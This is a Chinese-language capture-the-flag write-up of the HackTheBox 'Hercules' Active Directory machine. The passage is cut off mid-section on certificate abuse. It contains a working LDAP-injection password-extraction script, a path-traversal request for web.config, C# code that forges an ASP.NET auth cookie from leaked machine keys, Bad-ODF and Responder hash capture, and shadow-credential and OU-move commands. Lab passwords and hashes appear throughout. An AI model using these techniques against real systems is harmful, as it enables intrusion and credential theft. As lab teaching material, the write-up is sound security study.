Hercules-HTB-writeUp

Hercules-HTB-writeUp

Hercules 是一个 AD 盒子,旨在强制采用 Kerberos 优先技术。该链包括:host/krb5 设置→用户名枚举→ LDAP 过滤器注入→ LFI(检索 web.config)→伪造 ASP.NET FormsAuth cookie →管理文件上传→ Bad-ODF、NetNTLMv2 捕获→破解→ BloodHound/certipy 分析→ OU 接管→证书滥用和 RBCD → S4U2Self/S4U2Proxy 冒充管理员。

为什么要采用这种方法?

Hercules 禁用 NTLM,因此所有身份验证和横向移动都依赖于 Kerberos 或基于证书的流。这排除了许多简单的攻击,并强制专注于四个强大的原语:

  1. 信息泄露 (LDAP 描述属性、web.config)------此处的机密可让您获得有效的凭据或计算机密钥。
  2. 使用 Web 应用程序 machineKey造身份验证令牌 --- 允许您模拟特权 Web 帐户。
  3. 通过精心制作的文档捕获 NetNTLMv2 --- 将 Web 访问转换为可离线破解的哈希值。
  4. 证书和 ACL 滥用 (EnrollmentAgent/ESC3、RBCD、GenericAll、ForceChangePassword)------这些是导致域泄露的 AD 原生升级路径。

添加主机并配置 Kerberos

复制代码
echo "10.10.11.91 hercules.htb dc.hercules.htb" | sudo tee -a /etc/hosts

vim /etc/krb5.conf 

[libdefaults]
 dns_lookup_kdc = false
 dns_lookup_realm = false
 default_realm = HERCULES.HTB

[realms]
 HERCULES.HTB = {
 kdc = dc.hercules.htb
 admin_server = dc.hercules.htb
 default_domain = hercules.htb
 }

[domain_realm]
 .hercules.htb = HERCULES.HTB
 hercules.htb = HERCULES.HTB

Kerberos 工具依赖于正确的 DNS/主机名。将 IP 映射到 hercules.htbdc.hercules.htb 可确保服务主体查找和 KDC 作正常工作。还编辑 /etc/krb5.conf,以便 default_realm = HERCULES。HTBkdc = dc.hercules.htb。这可以防止域查找失败。

nmap --- 查找服务

复制代码
nmap -p 1-65535 -T4 -A -v 10.10.11.91
Nmap scan report for hercules.htb (10.10.11.91)
Host is up (0.34s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://hercules.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-23 01:47:42Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=hercules.htb
| Subject Alternative Name: DNS:hercules.htb
| Issuer: commonName=hercules.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:56
| Not valid after:  2034-12-04T01:44:56
| MD5:   5f2d:5a1e:ddb2:3380:c69b:f57b:c5dc:3b03
|_SHA-1: e7d6:740f:7eb5:4f00:3037:4bf9:6eb6:dad5:ed84:656b
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Hercules Corp
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_ssl-date: TLS randomness does not represent time
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_http-title: Not Found
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc         Microsoft Windows RPC
57630/tcp open  msrpc         Microsoft Windows RPC
59456/tcp open  msrpc         Microsoft Windows RPC
59476/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.180 days (since Thu Oct 23 05:57:45 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: -27m23s
| smb2-time: 
|   date: 2025-10-23T01:49:12
|_  start_date: N/A

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   99.82 ms 10.10.16.1
2   99.80 ms hercules.htb (10.10.11.91)

NSE: Script Post-scanning.
Initiating NSE at 10:17
Completed NSE at 10:17, 0.00s elapsed
Initiating NSE at 10:17
Completed NSE at 10:17, 0.00s elapsed
Initiating NSE at 10:17
Completed NSE at 10:17, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1191.97 seconds
           Raw packets sent: 197239 (8.683MB) | Rcvd: 671 (30.954KB)

确认公开的服务(IIS/HTTP(S)、LDAP/LDAPS、Kerberos 88、RPC)。这些告诉你攻击面区域:用于注入和 LFI 的 Web 应用;用于 AD 查询的 LDAP;Kerberos/IP 用于以后的票证作。请注意,域控制器通常运行多个目录服务 (3268/3269) --- 对于 LDAP/BloodHound 很有用。

用户名枚举 (kerbrute)

命令(字典列表创建 + kerbrute):

复制代码
kerbrute userenum --dc 10.10.11.91 -d hercules.htb '/root/Desktop/tools/dict/Usernames/xato-net-10-million-usernames.txt' -t 100

我们生成带有附加字母的名称字典列表

复制代码
awk '/^[[:space:]]*$/ {next} { gsub(/^[ \t]+|[ \t]+$/,""); for(i=97;i<=122;i++) printf "%s.%c\n", $0, i }' /root/Desktop/tools/dict/Usernames/Names/names.txt | sudo tee /root/Desktop/tools/dict/Usernames/Names/names_test.txt > /dev/null && echo "Created: /root/Desktop/tools/dict/Usernames/Names/names_test.txt"

我们枚举了针对 DC 的 Kerbrute 的域用户

复制代码
kerbrute userenum --dc 10.10.11.91 -d hercules.htb '/root/Desktop/tools/dict/Usernames/Names/names_test.txt' -t 100

有针对性的 LDAP 注入和进一步的 Kerberos 作需要有效用户名列表。names.withletters 技巧创建了公司用户名中常见的 name.aname.b 变体。使用高线程数,但遵守速率限制。

Web Enumeration Web 枚举

开放 https://hercules.htb/

网站上没有找到更多相关信息

Directory Fuzzing 目录模糊测试

我们对目标 Web 服务器执行了自动目录暴力评估,以识别可访问的端点、隐藏目录和潜在的攻击面;

复制代码
dirb https://hercules.htb

在目标 Web 应用程序上识别了一个登录页面;

https://hercules.htb/Login

登录尝试是速率限制的,限制暴力尝试;

系统强制执行速率限制,在第十次登录尝试后,进一步的请求将被暂时阻止 30 秒;

LDAP 过滤器注入 --- 提取描述

客户端通过提交包含基本和过滤器的搜索请求来查询 LDAP 服务器;如果条目与过滤器匹配,则服务器返回请求的目录信息。LDAP 搜索过滤器遵循 RFC 4515 语法,并表示为括在括号中的属性键/值对;过滤器可以包含通配符,并使用逻辑运算符进行组合。例如,(cn=David*) 匹配以"David"开头的通用名称,(!(cn=David*)) 匹配不以"David"开头的名称,(&(cn=D*)(cn=*Smith)) 应用 AND 条件,并且 (|(cn=David*)(cn=Elisa*)) 应用 OR 条件。当应用程序将未经验证的用户输入直接嵌入到 LDAP 过滤器中时,就会出现 LDAP 注入漏洞,使攻击者能够纵过滤器逻辑或附加子句来执行意外查询。此类利用可能会暴露敏感目录数据或绕过身份验证,特别是当 LDAP 服务或应用程序使用过于宽松的权限时。缓解措施需要适当的输入验证和转义(根据 RFC 4515)、使用参数化 LDAP API 或安全的筛选器构建库,以及 LDAP 服务帐户的最小权限原则。

通过利用登录表单中的 LDAP 注入来读取用户对象的描述属性,使用基于前缀的方法逐个字符重建值。

Fail 失败

  • 原始有效负载(无编码)

    will.s*)(description=*)

  • 响应: "用户名无效。"
    → 这表示注入的过滤器未按预期进行评估或未返回任何结果。

Success 成功

  • 有效负载: 双 URL 编码(如脚本中实现)

    will.s%252A%2529%2528description%253D%252A

  • 响应: "登录尝试失败。"
    →解释 对注入的 LDAP 过滤器进行了评估并返回了匹配项 --- description 属性存在并满足测试条件。

登录表单针对 LDAP/Active Directory 后端进行身份验证。通过将 *)(description=<prefix>*) 等片段注入 username 字段,我们构造了一个复合 LDAP 过滤器,该过滤器扩展了服务器的查询以包含 description 属性。应用程序的不同错误消息充当布尔预言机:"登录尝试失败"表示过滤器返回匹配项(用户名存在或描述匹配),而"用户名无效"表示没有匹配项。此侧通道允许基于前缀的逐个字符重建描述值。

由于 IIS/ASP.NET 执行中间筛选和解码,因此有效负载必须采用双 URL 编码 (%%25) ,以便以预期形式到达后端。我们怀疑描述字段包含敏感凭据(例如密码),因此

暴力破解用户名信息:

复制代码
#!/usr/bin/env python3
import requests
import string
import urllib3
import re
import time
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Configuration
BASE = "https://hercules.htb"
LOGIN_PATH = "/Login"
LOGIN_PAGE = "/login"
TARGET_URL = BASE + LOGIN_PATH
VERIFY_TLS = False
# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = "Login attempt failed"
# Token regex
TOKEN_RE = re.compile(r'name="__RequestVerificationToken"\s+type="hidden"\s+value="([^"]+)"', re.IGNORECASE)
# All enumerated users (replaced as requested)
KNOWN_USERS = [
   "adriana.i",
   "angelo.o",
   "ashley.b",
   "bob.w",
   "camilla.b",
   "clarissa.c",
   "elijah.m",
   "fiona.c",
   "harris.d",
   "heather.s",
   "jacob.b",
   "jennifer.a",
   "jessica.e",
   "joel.c",
   "johanna.f",
   "johnathan.j",
   "ken.w",
   "mark.s",
   "mikayla.a",
   "natalie.a",
   "nate.h",
   "patrick.s",
   "ramona.l",
   "ray.n",
   "rene.s",
   "shae.j",
   "stephanie.w",
   "stephen.m",
   "tanya.r",
   "tish.c",
   "vincent.g",
   "will.s",
   "zeke.s",
   "auditor"
]
def get_token_and_cookie(session):
   """Get fresh CSRF token and cookies"""
   response = session.get(BASE + LOGIN_PAGE, verify=VERIFY_TLS)
   
   token = None
   match = TOKEN_RE.search(response.text)
   if match:
       token = match.group(1)
   
   return token
def test_ldap_injection(username, description_prefix=""):
   """Test if description starts with given prefix using LDAP injection"""
   session = requests.Session()
   
   # Get fresh token
   token = get_token_and_cookie(session)
   if not token:
       return False
   
   # Build LDAP injection payload
   if description_prefix:
       # Escape special characters
       escaped_desc = description_prefix
       if '*' in escaped_desc:
           escaped_desc = escaped_desc.replace('*', '\\2a')
       if '(' in escaped_desc:
           escaped_desc = escaped_desc.replace('(', '\\28')
       if ')' in escaped_desc:
           escaped_desc = escaped_desc.replace(')', '\\29')
       
       payload = f"{username}*)(description={escaped_desc}*"
   else:
       # Check if user has description field
       payload = f"{username}*)(description=*"
   
   # Double URL encode
   encoded_payload = ''.join(f'%{byte:02X}' for byte in payload.encode('utf-8'))
   
   data = {
       "Username": encoded_payload,
       "Password": "test",
       "RememberMe": "false",
       "__RequestVerificationToken": token
   }
   
   try:
       response = session.post(TARGET_URL, data=data, verify=VERIFY_TLS, timeout=5)
       return SUCCESS_INDICATOR in response.text
   except Exception as e:
       return False
def enumerate_description(username):
   """Enumerate description/password field character by character"""
   # Character set - most common password chars first for optimization
   charset = (
       string.ascii_lowercase +
       string.digits +
       string.ascii_uppercase +
       "!@#$_*-." +  # Common special chars
       "%^&()=+[]{}|;:',<>?/`~\" \\"  # Less common
   )
   
   print(f"\n[*] Checking user: {username}")
   
   # First check if user has description
   if not test_ldap_injection(username):
       print(f"[-] User {username} has no description field")
       return None
   
   print(f"[+] User {username} has a description field, enumerating...")
   
   description = ""
   max_length = 50
   no_char_count = 0
   
   for position in range(max_length):
       found = False
       
       for char in charset:
           test_desc = description + char
           
           if test_ldap_injection(username, test_desc):
               description += char
               print(f"    Position {position}: '{char}' -> Current: {description}")
               found = True
               no_char_count = 0
               break
           
           # Small delay to avoid rate limiting
           time.sleep(0.01)
       
       if not found:
           no_char_count += 1
           if no_char_count >= 2:  # Stop after 2 positions with no chars
               break
   
   if description:
       print(f"[+] Complete: {username} => {description}")
       return description
   
   return None
def main():
   print("="*60)
   print("Hercules LDAP Description/Password Enumeration")
   print(f"Testing {len(KNOWN_USERS)} users")
   print("="*60)
   
   found_passwords = {}
   
   # Priority users to test first
   priority_users = ["web_admin", "auditor", "Administrator", "natalie.a", "ken.w"]
   other_users = [u for u in KNOWN_USERS if u not in priority_users]
   
   # Test priority users first
   for user in priority_users + other_users:
       password = enumerate_description(user)
       
       if password:
           found_passwords[user] = password
           
           # Save results immediately
           with open("hercules_passwords.txt", "a") as f:
               f.write(f"{user}:{password}\n")
           
           print(f"\n[+] FOUND: {user}:{password}\n")
   
   print("\n" + "="*60)
   print("ENUMERATION COMPLETE")
   print("="*60)
   
   if found_passwords:
       print(f"\nFound {len(found_passwords)} passwords:")
       for user, pwd in found_passwords.items():
           print(f"  {user}: {pwd}")
   else:
       print("\nNo passwords found")
if __name__ == "__main__":
   main()

python3 bruteforce.py
复制代码
johnathan.j => change*th1s_p@ssw()rd!!

我们尝试密码

复制代码
nxc ldap 10.10.11.91 -u johnathan.j -p 'change*th1s_p@ssw()rd!!' -k

无法使用用户 johnathan.j 登录

  • 登录表单区分响应: 用户名无效登录尝试失败 。通过注入关闭用户名过滤器并添加 (description=<prefix>*) 的有效负载,后端评估任何对象的描述是否以 <prefix> 开头。
  • 需要双 URL 编码,因为 ASP.NET/IIS 执行临时解码步骤;单编码被清理。该脚本自动逐个字符重建。如果描述包含机密(如此框中所示),则将其恢复。这给了注释中的 change*th1s_p@ssw()rd!!

与 DC 同步时间(Kerberos )

复制代码
ntpdate -u 10.10.11.91

我们使用密码字典通过 Kerberos 枚举 LDAP 用户

复制代码
nxc ldap 10.10.11.91 -u 'users.txt' -p 'change*th1s_p@ssw()rd!!' --continue-on-success -k

确认:密码change*th1s_p@ssw()rd!! 成功验证目标系统上的 ken.w 账号。

Kerberos 时间戳偏差会导致身份验证失败。同步可防止请求工单时出现 TGS/AS 错误。在 Kerberos 密集型作之前执行此作。

我们获得了 ken.w 帐户的有效凭据,并验证了对多个 SMB 共享的访问权限;由于这些份额对记录在案的攻击路径没有实质性贡献,因此它们被排除在本文之外。我使用 ken.w 帐户使用 https://hercules.htb/login 的登录面板对应用程序进行了身份验证,以继续进行身份验证后分析。

复制代码
ken.w => change*th1s_p@ssw()rd!!

我们现在在仪表板上

我们可以看到 3 条消息

LFI --- 获取 web.config

我们去 https://hercules.htb/Home/Downloads

选择一个 下载并抓住 burbsuite 的请求

将参数更改为

Request: 请求:

复制代码
GET /Home/Download?fileName=../../web.config

web.config 中的有趣内容

复制代码
<machineKey decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" 
validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />
  • 下载端点未规范化 fileName --- 路径遍历返回 web.config。该文件包含用于加密/签名旧版 ASP.NET FormsAuth cookie 的 machineKey 值(decryptionKeyvalidationKey)。拥有这些钥匙可以锻造 应用将接受为合法的 ASPXAUTH Cookie --- 实际上是任意 Web 角色模拟(例如,web_admin)。安全地保存配置。

生成 FormsAuth Cookie(.NET)

命令(创建小型 .NET 控制台并运行):

复制代码
dotnet new console -o LegacyAuthConsole

cd LegacyAuthConsole

dotnet add package AspNetCore.LegacyAuthCookieCompat --version 2.0.5

# 在 Program.cs 中添加来自 web.config 的解密密钥和验证密钥,以构建并加密一个用于"web_admin"的FormsAuthenticationTicket。

dotnet restore

然后插入 Program.cs 此代码

复制代码
using System;
using AspNetCore.LegacyAuthCookieCompat;

class Program
{
    static void Main(string[] args)
    {
        // MachineKey from your web.config
        string validationKey = 
            "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80";

        string decryptionKey = 
            "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581";

        // Trim the validation key automatically if it's too long for HMACSHA256
        if (validationKey.Length > 128)
        {
            validationKey = validationKey.Substring(0, 128);
        }

        // Convert keys to byte arrays
        byte[] decryptionKeyBytes = HexUtils.HexToBinary(decryptionKey);
        byte[] validationKeyBytes = HexUtils.HexToBinary(validationKey);

        // Create an authentication ticket
        var issueDate = DateTime.Now;
        var expiryDate = issueDate.AddHours(1);

        var formsAuthenticationTicket = new FormsAuthenticationTicket(
            1, // version
            "web_admin", // username
            issueDate,
            expiryDate,
            false, // isPersistent
            "Web Administrators", // userData
            "/" // cookiePath
        );

        // Create encryptor with your AES + HMACSHA256 settings
        var legacyEncryptor = new LegacyFormsAuthenticationTicketEncryptor(
            decryptionKeyBytes,
            validationKeyBytes,
            ShaVersion.Sha256
        );

        // Encrypt the authentication ticket
        var encryptedText = legacyEncryptor.Encrypt(formsAuthenticationTicket);

        Console.WriteLine("Encrypted FormsAuth Ticket:");
        Console.WriteLine(encryptedText);
    }
}

dotnet build
dotnet run
  • machineKey 直接控制 ASP.NET 如何加密和签署 FormsAuth 票证。使用 LegacyAuthCookieCompat 库和这些键值,可以创建一个加密票证,说明用户名 web_admin 角色为 Web 管理员 。将此 cookie 放入您的浏览器中,您将被视为特权 Web 管理员。这比 Web 应用漏洞更快、更干净,因为您创建的是接受的令牌,而不是欺骗应用。
复制代码
Encrypted FormsAuth Ticket:
875F9047A48A687A5C281B85A2C4DB1843BF5361339E07E33F0143CB7DF58029F3FA698325A40C994747485B51725082866B75D94D38365883A630FA94A5FCE8E8C7A724B8CB15FCCA65E70EC9720BCDFD1350052E530E50F9C483DE04559060C8485DC78CD1B9DD5675F918C397648136E1F3C6DD2AA6A2CBEC7EB64D5B680805D69F78CC9A301ED940C18E42A0939E07FE10BFA6E97243D4C1456E87A3981FEBBECCD86C92E7F6703F8260381ED35E23B237F4169751C007B9834F9089BB98

其中: https://hercules.htb/Home/Forms (仅限管理员上传文件)。

  • 通过管理员权限,您可以访问普通用户无法访问的文件上传功能。这样,上传 Bad.odt 就可以从可捕获的服务器(或查看器)触发出站资源提取。

按 F5 重新加载页面后,我们现在 web_admin 用户!

那里我们有一个文件上传功能

Bad-ODF 生成和上传→触发 NetNTLMv2

我们使用这个工具 https://github.com/lof1sec/Bad-ODF

复制代码
python3 -m venv .venv
source .venv/bin/activate
mkdir Bad-ODF && cd Bad-ODF
pip install ezodf lxml
wget https://raw.githubusercontent.com/lof1sec/Bad-ODF/refs/heads/main/Bad-ODF.py
python3 Bad-ODF.py   # follow prompts to set your listener IP (tun0)
# upload generated bad.odt via admin upload

我们上传 bad.odt

Bad-ODF 制作引用外部 SMB/HTTP 资源(图像/字体)的 ODF 文档。当服务器或客户端呈现文档时,它会尝试获取该外部资源并通过 NetNTLM/NTLMv2 进行身份验证。攻击者捕获质询/响应。这是将网络上传转化为凭证获取的实用方法。

捕获并破解 NetNTLMv2

复制代码
responder -I tun0
# After capture, crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt natalie.a.hash
复制代码
[SMB] NTLMv2-SSP Client   : 10.10.11.91
[SMB] NTLMv2-SSP Username : HERCULES\natalie.a
[SMB] NTLMv2-SSP Hash     : natalie.a::HERCULES:34b8f08c5d0de9c5:045FC5BBAE58CB82FCFA400672E7200D:01010000000000008050D4B81B44DC01E118E5752CD15CC10000000002000800420057004F004D0001001E00570049004E002D00580046005800390053004F00320049004E004300590004003400570049004E002D00580046005800390053004F00320049004E00430059002E00420057004F004D002E004C004F00430041004C0003001400420057004F004D002E004C004F00430041004C0005001400420057004F004D002E004C004F00430041004C00070008008050D4B81B44DC010600040002000000080030003000000000000000000000000020000044887784969E503AD57F596E07B4E104C0AE27758837626DB76BF9F7F4C20D2B0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00310035000000000000000000
复制代码
Prettyprincess123! (natalie.a)  
  • 响应程序侦听 SMB/HTTP 并捕获 NetNTLMv2 身份验证尝试。有了足够的处理时间和合理的单词字典,离线破解会产生明文密码(natalie.a,Prettyprincess123!) 此密码可解锁 LDAP/AD 作和 BloodHound 枚举。

BloodHound / AD 枚举

命令

复制代码
bloodhound-python -u ken.w -p 'change*th1s_p@ssw()rd!!' -c All -d hercules.htb -ns 10.10.11.91 --zip --use-ldap
  • BloodHound 揭示了关系和错误配置:谁拥有 GenericWriteForceChangePassword 权限、AllowedToAct 委托和 OU ACL。这些表示最短或最有希望的升级路径(例如,可以重置密码或证书的组)。使用 BloodHound GUI 可视化攻击图并决定下一步行动。

Natalie A. 是 WEB SUPPORT的成员。

Web 支持组对六个用户帐户具有 GenericWrite 权限。

Auditor 和 Ashley B. 是远程管理小组的成员。

Stephen M. 是安全支持组的成员。

安全支持人员组对七个用户帐户具有 ForceChangePassword 权限。

观察到的升级链

  1. 初始证书获取。 要求提供 bob.w 的证书,以建立与 bob.w 凭据相关的初始立足点。此活动利用了用户对象上存在的可写属性。
  2. Active Directory 枚举。 为 bob.w 确定了可写 AD 对象和特权属性,包括 Web 部门 OU 中的 CREATE_CHILD 权限和 Stephen M 帐户上的可写属性。
  3. **对象重定位。**Stephen M 的帐户被转移到 Web 部门 OU,更改了其 AD 上下文,并可能更改了它对证书颁发工作流的暴露。
  4. 基于证书的帐户滥用。 请求了 stephen.m 的 AD 证书;使用证书身份验证会显示与该帐户关联的凭据(NTLM 等效项目)。
  5. 通过组权限提升权限。 通过访问 Stephen M 的帐户,评估发现安全帮助台的 ForceChangePassword 超过 7 个用户包括一个作为远程管理成员的帐户(审计员),从而实现进一步的横向移动和权限提升。

证书攻击(certipy、ESC3 --- EnrollmentAgent)

初始证书获取

复制代码
# Get TGT for natalie.a
impacket-getTGT -dc-ip 10.10.11.91 hercules.htb/natalie.a:Prettyprincess123!
复制代码
# 使用 certipy 来获取/请求证书
KRB5CCNAME=natalie.a.ccache certipy-ad shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account bob.w
复制代码
NT hash for 'bob.w': 8a65c74e8f0073babbfac6725c66cc3f

我们通过提供帐户的 NT 哈希来请求 bob.w 的 Kerberos 票证授予票证 (TGT)。

复制代码
impacket-getTGT -dc-ip 10.10.11.91 -hashes :8a65c74e8f0073babbfac6725c66cc3f hercules.htb/bob.w

Directory Enumeration 目录枚举

复制代码
KRB5CCNAME=bob.w.ccache bloodyAD -u 'bob.w' -p '' -k -d 'hercules.htb' --host DC.hercules.htb get writable --detail

主要发现(摘录):

CREATE_CHILD Web 部门 OU 的权利

  • distinguishedName: OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb --- account: CREATE_CHILD
  • 影响:具有此权限的攻击者或遭入侵的帐户可以在 OU 中创建新对象(用户/电脑/服务帐户),这些对象可能会被滥用用于持久化、证书颁发或权限提升。

对 Stephen Miller 的 WRITE 权限

  • distinguishedName: CN=Stephen Miller,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb --- attributes: name: WRITE, cn: WRITE (and additional writable attributes implied).
  • 影响:属性写入访问权限允许修改用户属性(例如,成员身份、UPN、servicePrincipalName 或 AD CS 使用的敏感属性),这些属性可用于请求证书、更改登录行为或作身份验证。

Bob Wood 上的附加写入功能(自己)

  • Partial entry shown: distinguishedName: CN=Bob Wood,OU=Web Department,OU=... --- indicates Bob Wood's object has writable attributes by the controlling principal.
  • 影响:对高价值用户对象 (Bob) 的可写访问可用于执行证书隐藏、修改认证流程使用的帐户设置,或以其他方式获取该身份的凭证。
  • 带有 ENROLLEE_SUPPLIES_SUBJECT (ESC3) 的 AD 证书服务模板允许滥用,用户可以请求其他实体的证书或提供自己的主题字段。结合可写 ACL 和移动对象,这成为一种无需密码即可为其他用户获取身份验证材料 (PFX/TGT) 的方法。Certipy 自动执行了其中许多流程。出现兼容性问题时,请使用 Certipy v4.8.2。

战略性 OU 迁移 (PowerView) --- 移动到 stephen.m

我们从其 GitHub 存储库安装 PowerView.py

复制代码
pip3 install "git+https://github.com/aniqfakhrul/powerview.py" --break-system-packages

Any error 
python3 -m pip install --user --upgrade pip setuptools wheel --break-system-packages
python3 -m pip install --user "git+https://github.com/aniqfakhrul/powerview.py"

try:
python3 -m venv ~/powerview-venv
source ~/powerview-venv/bin/activate                                                                                                                                                                                             

pip install "git+https://github.com/aniqfakhrul/powerview.py"

我们在 bob.w 帐户的上下文下作时使用 PowerView 枚举了域详细信息

复制代码
KRB5CCNAME=bob.w.ccache powerview hercules.htb/bob.w@dc.hercules.htb -k --use-ldaps -d --no-pass

Any error;
KRB5CCNAME=bob.w.ccache powerview hercules.htb/bob.w@dc.hercules.htb -k --use-ldaps --dc-ip 10.10.11.91 -d --no-pass

我们将 Stephen M. 域对象重新定位到 Active Directory 中的 Web 部门 OU

复制代码
Set-DomainObjectDN -Identity stephen.m -DestinationDN 'OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'
  • stephen.m 移动到具有更宽松的 ACL 继承的 OU(Web 部门)会导致他继承允许证书隐藏或创建子对象的权限。这种"重定位"是更改有效权限并启用后续证书作的战术步骤。

Stephen M. 的帐户已从安全部门 OU 移至 Web 部门 OU ,以利用权限继承方面的差异。Web 部门 OU 包含更宽松的 ACL,这些 ACL 使 Stephen M. 的帐户遭受与证书相关的滥用,而这在其原始 OU 中是不可能的。

通过将 stephen.m 移动到 Web 部门 OU,该帐户将继承 OU 的权限(包括 CREATE_CHILD 和其他可写 ACE)。因此,在该 OU 中具有控制权的攻击者或遭到入侵的主体可以:

  1. 将密钥凭据添加到 stephen.m 的对象(修改 keyMaterial / keyCredentials)。
  2. 利用 AD 证书服务工作流(证书隐藏)对 stephen.m
  3. 获取从基于证书的身份验证派生的身份验证项目(例如,滥用的证书流公开的 NTLM 等效项目)。

Certificate Abuse 证书滥用

我们向 HERCULES 请求 natalie.a 的 Kerberos TGT。

复制代码
impacket-getTGT 'HERCULES.HTB/natalie.a:Prettyprincess123!'

我们请求 stephen.m 的 AD 证书

复制代码
